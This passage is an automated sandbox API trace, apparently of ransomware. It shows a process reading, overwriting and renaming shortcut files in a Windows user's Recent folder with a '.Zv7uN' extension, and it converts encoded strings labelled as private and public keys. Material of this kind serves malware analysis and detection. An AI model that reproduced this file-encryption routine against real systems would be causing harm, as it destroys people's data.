halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nnuix.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.547] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x93b, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x93b, lpOverlapped=0x0) returned 1 [0082.548] CloseHandle (hObject=0x124) returned 1 [0082.557] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nNUix.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nnuix.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nNUix.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nnuix.lnk.zv7un")) returned 1 [0082.558] GetCurrentThreadId () returned 0xa30 [0082.558] GetCurrentThreadId () returned 0xa30 [0082.558] GetCurrentThreadId () returned 0xa30 [0082.558] GetCurrentThreadId () returned 0xa30 [0082.558] GetCurrentThreadId () returned 0xa30 [0082.559] GetCurrentThreadId () returned 0xa30 [0082.559] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f9f940, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f9f940, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1f9f940, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="noOt.lnk", cAlternateFileName="")) returned 1 [0082.559] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.559] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.559] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\noOt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\noot.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f9f940, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f9f940, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1f9f940, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x19ba)) returned 1 [0082.559] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\noOt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\noot.lnk")) returned 0x20 [0082.559] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\noOt.lnk", dwFileAttributes=0x80) returned 1 [0082.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f6396c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.563] GetCurrentThreadId () returned 0xa30 [0082.563] GetCurrentThreadId () returned 0xa30 [0082.563] GetCurrentThreadId () returned 0xa30 [0082.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f749cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.565] GetCurrentThreadId () returned 0xa30 [0082.565] GetCurrentThreadId () returned 0xa30 [0082.565] GetCurrentThreadId () returned 0xa30 [0082.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\noOt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\noot.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.565] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.565] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.565] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x19ba [0082.565] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.565] ReadFile (in: hFile=0x124, lpBuffer=0x1f7c7d0, nNumberOfBytesToRead=0x19ba, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f7c7d0*, lpNumberOfBytesRead=0x18f96c*=0x19ba, lpOverlapped=0x0) returned 1 [0082.567] CloseHandle (hObject=0x124) returned 1 [0082.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\noOt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\noot.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.570] WriteFile (in: hFile=0x124, lpBuffer=0x1f7e800*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f7e800*, lpNumberOfBytesWritten=0x18f978*=0x19ba, lpOverlapped=0x0) returned 1 [0082.572] CloseHandle (hObject=0x124) returned 1 [0082.580] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\noOt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\noot.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\noOt.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\noot.lnk.zv7un")) returned 1 [0082.581] GetCurrentThreadId () returned 0xa30 [0082.581] GetCurrentThreadId () returned 0xa30 [0082.581] GetCurrentThreadId () returned 0xa30 [0082.581] GetCurrentThreadId () returned 0xa30 [0082.581] GetCurrentThreadId () returned 0xa30 [0082.581] GetCurrentThreadId () returned 0xa30 [0082.581] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7a9540, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d7a9540, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d7a9540, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x991, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="o1L10dnO.lnk", cAlternateFileName="")) returned 1 [0082.582] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.582] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.582] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o1L10dnO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\o1l10dno.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7a9540, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d7a9540, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d7a9540, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x991)) returned 1 [0082.582] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o1L10dnO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\o1l10dno.lnk")) returned 0x20 [0082.582] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o1L10dnO.lnk", dwFileAttributes=0x80) returned 1 [0082.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 